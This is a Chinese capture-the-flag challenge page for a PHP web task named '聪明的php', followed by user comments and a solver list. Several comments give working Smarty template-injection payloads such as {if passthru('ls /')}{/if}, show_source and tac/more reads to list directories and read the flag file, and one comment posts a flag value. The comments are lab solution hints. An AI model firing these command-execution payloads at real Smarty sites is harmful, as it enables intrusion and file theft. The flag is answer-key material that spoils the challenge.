聪明的phpWEB 未解决

分数: 25 金币: 2
题目作者: midi
一  血: Lazzaro
一血奖励: 3金币
解  决: 3485
提  示:
描  述:
聪明的php
评论
haker111 1年前

看提示直接传值:?a,然后看到源码后进行解析,了解smarty模板。进行get传参,?a={if passthru('ls')}{/if} 查看当前目录,然后转到根目录下,?a={if passthru('ls /')}{/if},每个人的根目录下的第一个子目录不同,所以flag不同,查看第一目录?a=?a={if passthru('tac /_2096')}{/if},得到flag{...}

回复 1

XRain 1年前

没想起来 PHP 还有什么函数可以执行命令。不过,我用 scandir() 和 show_source() 就完成挑战了。 /?a={var_dump(scandir("/"))} 和 /?a={show_source("/_6583")}

回复 0

冯飞99 1年前

根据给出的提示发现可以通过/?回显得到源码,然后找到chatgpt解析一下源码,得知需要模板注入,构成payload,找到第二个源码再次让gpt翻译一下,得知在根目录下有个-数字的文件,由于cat命令用不了,使用tac命令查看得到flag。

回复 0

wxy1343 2年前

flag{d1342dda94d2f2b93118ff43530dcf77}

回复 0

YZ_86 2年前

bp抓包提交参数后会返回代码,根据代码可以发现有命令执行且过滤了哪几个函数{1*2}会发现返回2,这个时候用命令执行{passthru('ls /')},记得url转码,会发现返回结果有个图出的文件,cat被过滤了,用more查看就好{passthru('more /文件名')}。觉得清楚记得点赞,让更多人看到

回复 8

s1amese 2年前

/?w={{passthru("ls /")}} /?w={{passthru("more /_数字文件名")}}

回复 0

s1amese 2年前

passthru执行函数查看(ls),然后再查看列出的数字文件

回复 0

gleason 2年前

index.php?a={{passthru('more ../../../*|grep ff')}}

回复 0

Whittebz 2年前

{lf passthru("tac /_*")}{/if}

回复 0

Vio1et 2年前

哪位大神告诉我为什么{var_dump(`ls`)}不行

回复 0

WriteUp

image
midi

3 金币

评分(13)

解题动态

嗨客111 攻破了该题 2小时前
Hehe0619 攻破了该题 3小时前
123456abc 攻破了该题 1天前
souljian03 攻破了该题 2天前
hackerbugku 攻破了该题 2天前
人闲桂花落 攻破了该题 3天前
小白ctf 攻破了该题 6天前
femsq 攻破了该题 7天前
千机www 攻破了该题 9天前
Da1ly_1upup 攻破了该题 11天前
华仔 攻破了该题 13天前
ETERNALBLUE 攻破了该题 13天前
13945024799 攻破了该题 13天前
李欣 攻破了该题 14天前
124要留就要77 攻破了该题 15天前
abcfdafda123 攻破了该题 15天前
ahsjezyt 攻破了该题 16天前
ccttffwwyy 攻破了该题 19天前
123zp 攻破了该题 21天前
萝卜兔 攻破了该题 21天前
问题反馈